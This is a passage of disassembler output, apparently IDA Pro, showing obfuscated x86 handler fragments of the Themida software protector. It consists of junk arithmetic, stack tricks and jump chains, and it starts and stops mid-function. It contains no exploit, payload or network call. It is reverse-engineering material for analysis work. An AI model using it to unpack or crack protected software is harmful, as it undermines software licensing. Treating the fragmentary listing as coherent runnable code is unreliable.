; ---------------------------------------------------------------------------


loc_5574ED:				; CODE XREF: sub_556A70-5F41j
		mov	edi, 4DE3156Dh
		jmp	loc_5588CF
; ---------------------------------------------------------------------------


loc_5574F7:				; CODE XREF: sub_5563FF+6300j
		mov	ebx, esp
		push	edx
		mov	edx, 77A5600Ah
		shl	edx, 8
		and	edx, 393E4587h
		neg	edx
		jmp	loc_555F94
; ---------------------------------------------------------------------------


loc_55750F:				; CODE XREF: sub_556058+8j
		xor	ebp, 2E312D1Ch
		mov	ebx, ebp
		jmp	loc_556FAA
; ---------------------------------------------------------------------------


loc_55751C:				; CODE XREF: Themida_:00551456j
		push	114h
		mov	[esp+0], edi
		push	esi
		push	678A5E9Eh
		pop	esi
		sub	esi, 0ED2E12F0h
		mov	edi, esi
		pop	esi
		sub	[esp-2+arg_0+2], edi
		mov	edi, [esp+0]
		push	ecx
		mov	ecx, esp
		jmp	loc_5523A1
; ---------------------------------------------------------------------------


loc_557543:				; CODE XREF: sub_556A70-57F3j
		xchg	ebx, [esp-12h+arg_C+2]
		pop	esp
		xor	eax, 6F13942h
		or	eax, eax
		jnz	loc_5580E2
		push	3437h
		mov	[esp-12h+arg_C+2], edi
		jmp	loc_5553E0
; ---------------------------------------------------------------------------


loc_557561:				; CODE XREF: Themida_:00557EB5j
		pop	ebx
		jmp	loc_55701E
; ---------------------------------------------------------------------------


loc_557567:				; CODE XREF: Themida_:00555CE0j
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp-1Ah+arg_14+2]
		pop	esp
		add	eax, ebp
		mov	ebp, [esp-1Eh+arg_18+2]
		sub	esp, 4
		mov	[esp-1Ah+arg_14+2], edx
		jmp	loc_552C28
; ---------------------------------------------------------------------------


loc_557581:				; CODE XREF: Themida_:00557D86j
		sub	esp, 4
		mov	[esp-16h+arg_10+2], esi
		mov	esi, esp
		push	0D45h
		mov	[esp-12h+arg_C+2], edi
		mov	edi, 45BF0BF4h
		push	ebp
		push	esi
		push	58CF0462h
		pop	esi
		add	esi, 1E5743B2h
		add	esi, 634C00B5h
		xor	esi, 0A42E6894h
		jmp	loc_556377
; ---------------------------------------------------------------------------


loc_5575B5:				; CODE XREF: sub_55265B+7j
		dec	ebp
		add	ebp, 14BA41AAh
		mov	ecx, ebp
		pop	ebp
		jmp	sub_554299
; ---------------------------------------------------------------------------


loc_5575C4:				; CODE XREF: sub_556A70+3579j
		mov	esi, ebx
		pop	ebx
		jmp	loc_552330
; ---------------------------------------------------------------------------


loc_5575CC:				; CODE XREF: Themida_:00555F74j
		pop	eax
		xchg	ebx, [esp-16h+arg_10+2]
		mov	esp, [esp-16h+arg_10+2]
		add	esp, 4
		jmp	loc_55CBEF
; ---------------------------------------------------------------------------


loc_5575DE:				; CODE XREF: sub_5525ED+13ACj
		sub	edi, 19480410h
		sub	edi, 47FC5C9Eh
		add	edi, ebx
		add	edi, 47FC5C9Eh
		add	edi, 19480410h
		pop	ebx
		jmp	loc_5533BC
; ---------------------------------------------------------------------------


loc_5575FE:				; CODE XREF: Themida_:0055AD4Ej
		sub	esp, 4
		mov	[esp-1Ah+arg_14+2], edi
		mov	edi, edx
		mov	ecx, edi
		jmp	loc_55CE16
; ---------------------------------------------------------------------------


loc_55760D:				; CODE XREF: sub_556A70+25EFj
		pop	eax
		sub	ecx, 4
		xchg	ecx, [esp-1Eh+arg_18+2]
		pop	esp
		mov	[esp-22h+arg_1C+2], esi
		jmp	loc_5548AE
; ---------------------------------------------------------------------------


loc_55761D:				; CODE XREF: Themida_:00559936j
		mov	ebp, 3C196E5Dh
		mov	ecx, ebp
		jmp	loc_55413C
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-22h+arg_1C+2]
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 44AB69ADh
		shl	esi, 5
		xor	esi, 956D35A4h
		jmp	sub_556058
; ---------------------------------------------------------------------------


loc_557644:				; CODE XREF: sub_556A70-45FAj
		mov	ebx, 6880619Ch
		add	ebx, 2C391174h
		shr	ebx, 8
		push	ecx
		mov	ecx, 7F679CBh
		dec	ecx
		sub	ecx, 0EDB053E9h
		and	ebx, ecx
		mov	ecx, [esp+8+var_8]
		jmp	loc_5592D9
; ---------------------------------------------------------------------------


loc_557669:				; CODE XREF: sub_556A70-322Fj
		add	edx, edi
		sub	edx, 7C0B03B8h
		jmp	loc_55A4CD
; ---------------------------------------------------------------------------


loc_557676:				; CODE XREF: Themida_:0055579Bj
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 524979F6h
		not	eax
		shl	eax, 3
		xor	eax, 6DB4304Ch
		add	edi, eax
		jmp	loc_557705
; ---------------------------------------------------------------------------


loc_557695:				; CODE XREF: sub_556A70+100j
		sub	esi, 69A13174h
		add	esi, 6B8F73D7h
		add	esi, ebp
		sub	esi, 6B8F73D7h
		push	ebp
		push	ecx
		mov	ecx, 554E5022h
		jmp	loc_557AAD
; ---------------------------------------------------------------------------


loc_5576B5:				; CODE XREF: sub_556A70-3AC8j
		add	ecx, ebx
		mov	ebx, [esp+4+var_4]
		jmp	loc_551593
; ---------------------------------------------------------------------------


loc_5576BF:				; CODE XREF: sub_556A70-45B4j
		or	ebp, 14035E37h
		and	ebp, 0A416A75h
		sub	ebp, (offset loc_416A72+2)
		mov	esi, ebp
		pop	ebp
		and	eax, esi
		push	dword ptr [esp+0]
		pop	esi
		push	eax
		push	edx
		jmp	loc_555F2F
; ---------------------------------------------------------------------------


loc_5576E1:				; CODE XREF: sub_558287+1j
		mov	ebp, 4D334869h
		add	[esp+8], ebp
		pop	ebp
		pop	esi
		mov	esi, [esp+0]
		add	esp, 4
		jmp	loc_553A21
; ---------------------------------------------------------------------------


loc_5576F7:				; CODE XREF: Themida_:0055C34Ej
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_557705:				; CODE XREF: sub_556A70+C20j
		pop	eax
		jmp	loc_55CAC9
; ---------------------------------------------------------------------------


loc_55770B:				; CODE XREF: sub_556A70+5FF6j
		not	eax
		sub	eax, 258EE23h
		mov	ecx, eax
		pop	eax
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp+8+var_8]
		pop	esp
		jmp	loc_5571A6
; ---------------------------------------------------------------------------


loc_557721:				; CODE XREF: sub_556A70-476Fj
		sub	edi, edx
		pop	edx
		add	ecx, edi
		pop	edi
		push	esi
		push	4
		pop	esi
		add	ecx, 436B7536h
		add	ecx, esi
		jmp	loc_55A827
; ---------------------------------------------------------------------------


loc_55773B:				; CODE XREF: sub_55ABA3-7C50j
		mov	ebp, [esp+0]
		add	esp, 4
		add	ebx, 54867D39h
		jmp	loc_555667
; ---------------------------------------------------------------------------


loc_55774F:				; CODE XREF: sub_556A70-7D4j
		xor	ebp, [esp+0]
		pop	esp
		pop	ecx
		add	ecx, 3F584D13h
		push	2785h
		mov	[esp-4+arg_0], edx
		mov	edx, esp
		jmp	loc_55A7B0
; ---------------------------------------------------------------------------


loc_557769:				; CODE XREF: Themida_:0055550Aj
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_552AF1
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	[esp-6+arg_0+2], cl
		pushf
		jmp	loc_552704
; ---------------------------------------------------------------------------


loc_55778F:				; CODE XREF: sub_556A70-5AB4j
		add	ecx, 3DF410E1h
		add	ecx, eax
		sub	ecx, 3DF410E1h
		jmp	loc_55BFDA
; ---------------------------------------------------------------------------


loc_5577A2:				; CODE XREF: sub_556A70-16CAj
		xor	ecx, [esp-4+arg_0]
		xor	[esp-4+arg_0], ecx
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_5577AD:				; CODE XREF: sub_557D5C+4AE1j
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		and	eax, ebx
		jmp	loc_557916
; ---------------------------------------------------------------------------


loc_5577B8:				; CODE XREF: Themida_:00553B73j
		pop	ebx
		jmp	loc_5571BB
; ---------------------------------------------------------------------------


loc_5577BE:				; CODE XREF: sub_556A70+3089j
		shl	ecx, 2
		xor	ecx, 3E910574h
		sub	ecx, 0FBE4D5ECh
		and	eax, ecx
		mov	ecx, [esp-0Ch+arg_8]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-8+arg_4]
		pop	esp
		or	eax, eax
		jz	loc_5581BD
		push	dword ptr [edi+1Ch]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55ADF8
; ---------------------------------------------------------------------------


loc_557804:				; CODE XREF: Themida_:00558FAFj
		sub	edi, 5271410Ch
		sub	edi, ebp
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 5271410Ch
		jmp	loc_556A54
; ---------------------------------------------------------------------------


loc_55781C:				; CODE XREF: sub_556A70-4997j
		xchg	edx, [esp+4+var_4]
		pop	esp
		push	7BBh
		mov	[esp+4+var_4], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		push	ebx
		mov	ebx, esp
		push	esi
		jmp	loc_5517E7
; ---------------------------------------------------------------------------


loc_557840:				; CODE XREF: Themida_:0055BDD0j
		xchg	eax, [esp+8+var_8]
		pop	esp
		jmp	loc_553019
; ---------------------------------------------------------------------------
		push	[esp+4+var_4]
		pop	ecx
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 19973FBEh
		push	esi
		mov	esi, 68C009C8h
		sub	edi, esi
		jmp	loc_55AD31
; ---------------------------------------------------------------------------


loc_557863:				; CODE XREF: sub_559CCC-7D0Ej
		pop	ecx
		xor	ecx, 637B757Ah
		pop	ebx
		xor	[edi+24h], ecx
		mov	ecx, [esp+8+var_8]
		jmp	sub_553B16
; ---------------------------------------------------------------------------


loc_557876:				; CODE XREF: Themida_:00552493j
		add	esi, 2
		jmp	loc_551431
; ---------------------------------------------------------------------------


loc_55787E:				; CODE XREF: Themida_:005542BAj
		shr	ecx, 7
		not	ecx
		push	edx
		mov	edx, 886D8604h
		xor	ecx, edx
		mov	edx, [esp+0Ch+var_C]
		push	3763h
		jmp	loc_550DC2
; ---------------------------------------------------------------------------


loc_557898:				; CODE XREF: sub_556A70-33DCj
		xor	ebp, 513760DFh
		not	ebp
		sub	ebp, 0FFFFFFFFh
		xor	ebp, 0E6879099h
		jmp	loc_55996C
; ---------------------------------------------------------------------------


loc_5578AE:				; CODE XREF: Themida_:0055C254j
		pop	eax
		pop	ecx
		sub	esp, 4
		jmp	loc_552473
; ---------------------------------------------------------------------------


loc_5578BB:				; CODE XREF: sub_556A70-E62j
		add	esp, 4
		push	esi
		push	[esp+8+var_4]
		mov	esi, [esp+0Ch+var_C]
		jmp	loc_5519D2
; ---------------------------------------------------------------------------


loc_5578CB:				; CODE XREF: Themida_:00558132j
		push	esi
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp+14h+var_14], edi
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp+14h+var_14]
		push	edi
		mov	edi, esp
		push	4A23h
		mov	[esp+1Ch+var_1C], ebx
		jmp	loc_55161A
; ---------------------------------------------------------------------------


loc_5578F1:				; CODE XREF: sub_556A70-1624j
		or	word ptr [esp-28h+arg_24], ax
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_5578FB:				; CODE XREF: sub_5526D6+354j
		push	ebp
		mov	ebp, 458D187Eh
		add	ebp, 0A41BA5h
		sub	ebp, 596063E4h
		not	ebp
		dec	ebp
		inc	ebp
		jmp	loc_552B4C
; ---------------------------------------------------------------------------


loc_557916:				; CODE XREF: sub_556A70+D43j
		mov	ebx, [esp-8+arg_4]
		jmp	loc_55702F
; ---------------------------------------------------------------------------


loc_55791E:				; CODE XREF: sub_556A70+EE1j
		push	49C0h
		mov	[esp-4+arg_0], ebx
		jmp	loc_556C72
; ---------------------------------------------------------------------------


loc_55792B:				; CODE XREF: Themida_:0055AD96j
		mov	ecx, esp
		push	eax
		jmp	loc_557088
; ---------------------------------------------------------------------------


loc_557933:				; CODE XREF: sub_556A70+5E2j
		sub	ch, 72h
		mov	dl, ch
		pop	ecx
		add	al, 0D8h
		sub	al, dl
		sub	al, 0D8h
		jmp	loc_5514F4
; ---------------------------------------------------------------------------


loc_557944:				; CODE XREF: sub_55C746-358Fj
		sub	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ecx
		jmp	loc_55791E
; ---------------------------------------------------------------------------


loc_557956:				; CODE XREF: sub_554E85-23A6j
		mov	[esp+0], ebp
		push	edx
		mov	edx, 0B97497Ah
		push	ebx
		mov	ebx, 1D5F689Bh
		mov	ebp, 11E81F21h
		sub	ebp, ebx
		jmp	loc_55CB9D
; ---------------------------------------------------------------------------


loc_557971:				; CODE XREF: Themida_:005516A1j
		push	ecx
		mov	ch, 0B4h
		neg	ch
		jmp	loc_55CBFF
; ---------------------------------------------------------------------------
		mov	eax, [esp+0Ch+var_C]
		push	edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp+14h+var_14], ebx
		push	edx
		push	6FF35D54h
		pop	edx
		jmp	loc_558926
; ---------------------------------------------------------------------------


loc_557996:				; CODE XREF: sub_556A70+618Aj
		mov	[esp+18h+var_18], eax
		jmp	loc_559E41
; ---------------------------------------------------------------------------


loc_55799E:				; CODE XREF: sub_55292B+5FDAj
		mov	cl, dl
		pop	edx
		mov	dl, cl
		pop	ecx
		jmp	loc_55B137
; ---------------------------------------------------------------------------


loc_5579A9:				; CODE XREF: sub_556A70+55DCj
		and	eax, edx
		push	[esp+10h+var_10]
		pop	edx
		sub	esp, 4
		mov	[esp+14h+var_14], edi
		jmp	loc_55CA51
; ---------------------------------------------------------------------------


loc_5579BA:				; CODE XREF: sub_553E75+EEj
		add	esp, 4
		xor	al, ch
		pop	ecx
		sub	esp, 2
		mov	word ptr [esp+10h+var_10], bx
		mov	bh, 5
		push	ebx
		jmp	loc_5538EF
; ---------------------------------------------------------------------------


loc_5579D2:				; CODE XREF: Themida_:005514E7j
		push	ebx
		mov	ebx, 408F3315h
		sub	ebx, 5089AA90h
		jmp	loc_5538F8
; ---------------------------------------------------------------------------


loc_5579E3:				; CODE XREF: Themida_:00559FFEj
		pop	esi
		jmp	loc_553FE3
; ---------------------------------------------------------------------------


loc_5579E9:				; CODE XREF: Themida_:00556260j
		push	esp
		pop	ebp
		jmp	loc_55A023
; ---------------------------------------------------------------------------


loc_5579F0:				; CODE XREF: sub_556A70-5EA3j
		add	edi, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_554BE7
; ---------------------------------------------------------------------------


loc_557A01:				; CODE XREF: Themida_:00558123j
		add	esp, 4
		add	ecx, 406969B3h
		xor	eax, ecx
		mov	ecx, [esp-0Eh+arg_8+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-0Eh+arg_8+2], esi
		push	ebx
		mov	ebx, 304D1E28h
		inc	ebx
		dec	ebx
		push	ecx
		jmp	loc_55A289
; ---------------------------------------------------------------------------


loc_557A2C:				; CODE XREF: Themida_:00559C55j
		sub	al, bl
		push	ecx
		mov	ch, 1Bh
		not	ch
		and	ch, 20h
		xor	ch, 0A3h
		inc	ch
		shl	ch, 7
		sub	ch, 0EFh
		sub	al, ch
		pop	ecx
		jmp	loc_551E62
; ---------------------------------------------------------------------------


loc_557A49:				; CODE XREF: Themida_:00553A02j
		xor	ecx, 9F85E9E4h
		add	ebp, 778947F4h
		jmp	loc_5549ED
; ---------------------------------------------------------------------------


loc_557A5A:				; CODE XREF: Themida_:0055BCD9j
		add	esi, 6F124F5Bh
		add	esi, 8ADFBDE1h
		mov	ecx, esi
		pop	esi
		add	ebp, ecx
		mov	ecx, [esp-0Ah+arg_4+2]
		add	esp, 4
		jmp	loc_55B643
; ---------------------------------------------------------------------------


loc_557A79:				; CODE XREF: sub_553B16-130Fj
		add	eax, edx
		add	eax, 36003F46h
		pop	edx
		push	60AEh
		mov	[esp-0Eh+arg_8+2], esi
		push	1E376550h
		pop	esi
		sub	esp, 4
		mov	[esp-0Ah+arg_4+2], esi
		xchg	edi, [esp-0Ah+arg_4+2]
		not	edi
		xchg	edi, [esp-0Ah+arg_4+2]
		pop	esi
		jmp	loc_5574D9
; ---------------------------------------------------------------------------


loc_557AA3:				; CODE XREF: sub_556A70-3D7j
		add	esp, 4
		neg	ebx
		jmp	loc_553BF4
; ---------------------------------------------------------------------------


loc_557AAD:				; CODE XREF: sub_556A70+C40j
		add	ecx, 53F76094h
		add	ecx, 570C598Eh
		neg	ecx
		add	ecx, 38F48756h
		mov	ebp, ecx
		pop	ecx
		sub	ebp, 0CF014B9Eh
		add	esi, ebp
		pop	ebp
		mov	ebp, [esp-12h+arg_C+2]
		add	esp, 4
		jmp	loc_55BC36
; ---------------------------------------------------------------------------


loc_557AD8:				; CODE XREF: sub_556A70-1492j
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_557ADD:				; CODE XREF: Themida_:0055688Aj
		add	ecx, 6469351Ah
		shl	ecx, 4
		xor	ecx, 68864862h
		jmp	loc_556A8F
; ---------------------------------------------------------------------------


loc_557AF1:				; CODE XREF: sub_550F53+7452j
		sub	esp, 4
		jmp	loc_55A22B
; ---------------------------------------------------------------------------


loc_557AF9:				; CODE XREF: sub_556A70-58C0j
		add	al, dh
		pop	dx
		pop	ecx
		mov	cx, word ptr [esp-14h+arg_10]
		add	esp, 2
		jmp	loc_5572D9
; ---------------------------------------------------------------------------


loc_557B0D:				; CODE XREF: sub_556A70+1Aj
		push	6761h
		mov	[esp+18h+var_18], ecx
		mov	cl, 8Bh
		not	cl
		add	cl, 0B6h
		jmp	loc_5573BD
sub_556A70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_557B21:				; CODE XREF: sub_556A70+4E1Aj
		sub	esi, 567C0FBDh
		push	esi
		pop	edx
		jmp	loc_554B0C
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_557B2E:				; CODE XREF: Themida_:00559D2Aj
		mov	[esp], edi
		mov	edi, 3869509Dh
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55BEAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_557B46:				; CODE XREF: sub_556A70+4CA3j
		add	esp, 4
		shr	edi, 2
		shl	edi, 1
		push	ebp
		jmp	loc_55C010
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_557B54:				; CODE XREF: Themida_:0055C40Aj
		mov	esp, [esp]
		or	[esp], eax
		pushf
		jmp	loc_551CFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_557B60:				; CODE XREF: sub_556A70+3FC5j
		mov	[esp+18h+var_18], eax
		jmp	loc_55345F
; ---------------------------------------------------------------------------


loc_557B68:				; CODE XREF: sub_556A70-4B79j
		add	edi, 0FFFFFFFFh
		not	edi
		or	edi, 72DF61EFh
		jmp	loc_55567C
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_557B78:				; CODE XREF: Themida_:005558BBj
		push	esi
		mov	esi, 5F6A6CDEh
		xor	eax, esi
		pop	esi
		not	eax
		jmp	loc_55B313
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
		lodsd
		push	ebp
		push	edx
		mov	edx, 4D0E4BFCh
		shl	edx, 3
		sub	edx, 459B5B0Ah
		mov	ebp, edx
		pop	edx
		sub	eax, ebp
		pop	ebp
		add	eax, ebx
		jmp	loc_55B84F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_557BB6:				; CODE XREF: sub_556A70+438Ej
		xchg	ebx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		mov	[esp-8+arg_4], edi
		mov	edi, 4
		jmp	loc_554CF4
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_557BC9:				; CODE XREF: Themida_:00553F35j
		mov	ecx, esp
		jmp	loc_55530D
; ---------------------------------------------------------------------------


loc_557BD0:				; CODE XREF: Themida_:00555145j
		sub	edi, edx
		jmp	loc_55CFBB
; ---------------------------------------------------------------------------


loc_557BD7:				; CODE XREF: Themida_:00559B4Ej
		mov	ebx, [esp]
		jmp	loc_555FC6
; ---------------------------------------------------------------------------


loc_557BDF:				; CODE XREF: Themida_:00551F83j
		add	al, 0EBh
		push	2CBDh
		jmp	loc_550FFE
; ---------------------------------------------------------------------------


loc_557BEB:				; CODE XREF: Themida_:0055C7A0j
		shl	ch, 1
		shl	ch, 6
		sub	esp, 4
		jmp	loc_55AF0F
; ---------------------------------------------------------------------------


loc_557BF8:				; CODE XREF: Themida_:00552977j
		push	ebx
		push	edi
		mov	edi, 68890363h
		jmp	loc_55AE94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_557C04:				; CODE XREF: sub_556A70+38E7j
		push	edx
		push	eax
		push	42B015CAh
		mov	eax, [esp+4+var_4]
		add	esp, 4
		add	eax, 33D1FA5Eh
		jmp	loc_556E53
; ---------------------------------------------------------------------------


loc_557C1E:				; CODE XREF: sub_556A70-1123j
		shr	edi, 3
		add	edi, 3A9646EAh
		add	edi, 0BF35147h
		mov	eax, edi
		pop	edi
		push	ecx
		push	esi
		jmp	loc_556910
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_557C37:				; CODE XREF: Themida_:00558161j
		pop	ebp
		push	ebx
		mov	ebx, 24890F87h
		shl	ebx, 4
		push	ebp
		mov	ebp, 362F464Dh
		sub	ebx, 74C50F42h
		add	ebx, ebp
		add	ebx, 74C50F42h
		pop	ebp
		shl	ebx, 8
		not	ebx
		jmp	loc_558641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_557C60:				; CODE XREF: sub_556A70-4756j
		xor	byte ptr [esp+4+var_4],	al
		xor	al, byte ptr [esp+4+var_4]
		xor	byte ptr [esp+4+var_4],	al
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_557C6E:				; CODE XREF: sub_556A70-F91j
		mov	ax, word ptr [esp-1Ah+arg_14+2]
		push	edi
		jmp	loc_559E34
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_557C78:				; CODE XREF: Themida_:0055B936j
		add	ebx, 2
		xchg	ebx, [esp]
		jmp	loc_55526D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_557C86:				; CODE XREF: sub_556A70-F80j
		xchg	ecx, [esp-1Ah+arg_14+2]
		pop	esp
		xchg	eax, [esp-1Eh+arg_18+2]
		pop	esp
		jmp	loc_55B869
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_557C93:				; CODE XREF: Themida_:0055BBEFj
		push	edx
		jmp	loc_5538A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_557C99:				; CODE XREF: sub_556A70+1CFj
		pop	eax
		add	edi, ebx
		pop	ebx
		jmp	sub_5525ED
; ---------------------------------------------------------------------------


loc_557CA2:				; CODE XREF: sub_556A70+3689j
		dec	byte ptr [esp+0]
		pushf
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	5ED6h
		mov	[esp], esi
		jmp	loc_558990
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_557CBC:				; CODE XREF: sub_556A70+3D7Cj
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_557CCA:				; CODE XREF: sub_556A70+43Aj
		add	ebx, eax
		push	dword ptr [ebx]
		pop	ecx
		mov	ebx, [esp+0Ch+var_C]
		jmp	loc_5542CC
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_557CD7:				; CODE XREF: Themida_:0055139Ej
		pop	esp
		add	ecx, 4
		jmp	loc_552D57
; ---------------------------------------------------------------------------


loc_557CE3:				; CODE XREF: Themida_:0055AC0Cj
		mov	[esp], ebx
		push	edx
		jmp	loc_555899
; ---------------------------------------------------------------------------


loc_557CEC:				; CODE XREF: Themida_:00553FC2j
		pop	esp
		add	ebx, 4
		sub	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_550A46
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_55AD38
; ---------------------------------------------------------------------------


loc_557D16:				; CODE XREF: Themida_:00552759j
		mov	[esp], edx
		mov	dl, 66h
		mov	bl, 8
		add	bl, dl
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_559C43
; ---------------------------------------------------------------------------


loc_557D2A:				; CODE XREF: Themida_:0055CB26j
		sub	eax, 7A3A57AFh
		pop	edx
		push	6134h
		mov	[esp], ecx
		push	edi
		mov	edi, 38B05C02h
		sub	edi, 0BB31F34Ah
		push	eax
		jmp	loc_55BA9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_557D4A:				; CODE XREF: sub_556A70+3767j
		pop	edi
		sub	ebx, eax
		jmp	loc_553101
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		jmp	loc_5557BB

; =============== S U B	R O U T	I N E =======================================



sub_557D5C	proc near		; CODE XREF: sub_556A70+6E4j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055C83A SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	edx
		mov	edx, 40000h
		mov	ebx, edx
		push	[esp+8+var_8]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_55C83A
sub_557D5C	endp

; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_557581
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_557D8B:				; CODE XREF: sub_556A70+4726j
		push	esi
		mov	esi, 3F676AC6h
		add	esi, 1F9A4AF6h
		jmp	loc_557DE5
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_557D9C:				; CODE XREF: Themida_:005589E3j
		inc	eax
		sub	eax, 0D5344B01h
		mov	ecx, eax
		pop	eax
		jmp	loc_552EAD
; ---------------------------------------------------------------------------


loc_557DAA:				; CODE XREF: Themida_:005593E4j
		sub	dh, 4Fh
		jmp	loc_55156A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_557DB2:				; CODE XREF: sub_556A70-2099j
		mov	[esp-24h+arg_20], eax
		push	66D6h
		mov	[esp-20h+arg_1C], esi
		push	6EE1h
		mov	[esp-1Ch+arg_18], ecx
		mov	ecx, 0BF67025h
		mov	esi, 48DB8433h
		sub	esi, ecx
		pop	ecx
		xor	[esp-20h+arg_20], esi
		jmp	loc_5546CB
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		jmp	loc_5528A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_557DE5:				; CODE XREF: sub_556A70+1327j
		push	edi
		mov	edi, 0FA717812h
		xor	esi, edi
		pop	edi
		sub	edi, esi
		pop	esi
		add	edx, edi
		pop	edi
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_557DF9:				; CODE XREF: Themida_:0055CD19j
		pop	ecx
		push	eax
		mov	eax, 49EA4F24h
		and	eax, 605F4590h
		jmp	loc_55CECE
; ---------------------------------------------------------------------------


loc_557E0A:				; CODE XREF: Themida_:00552D64j
		mov	cx, [esp]
		push	4853h
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 18607DE7h
		sub	edi, 18607DE3h
		add	esi, edi
		pop	edi
		push	6689h
		mov	[esp], eax
		push	esi
		jmp	loc_554956
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_557E3A:				; CODE XREF: sub_556A70-29A8j
		and	eax, esi
		push	[esp+8+var_8]
		pop	esi
		push	esi
		sub	esp, 4
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		jmp	loc_5545D4
; ---------------------------------------------------------------------------


loc_557E63:				; CODE XREF: sub_556A70-13Ej
		add	ebx, 479E4C50h
		jmp	loc_557295
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_557E6E:				; CODE XREF: Themida_:00553BC5j
		xor	edx, 77081A1Fh
		sub	edx, 0E2900EC0h
		xor	ebx, edx
		mov	edx, [esp]
		jmp	loc_5530CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559F87


loc_557E84:				; CODE XREF: sub_559F87-18D4j
		push	1CCAh
		mov	[esp+0], edx
		mov	dl, 0EAh
		push	ebx
		mov	bl, 0EEh
		neg	bl
		shr	bl, 7
		inc	bl
		add	bl, 93h
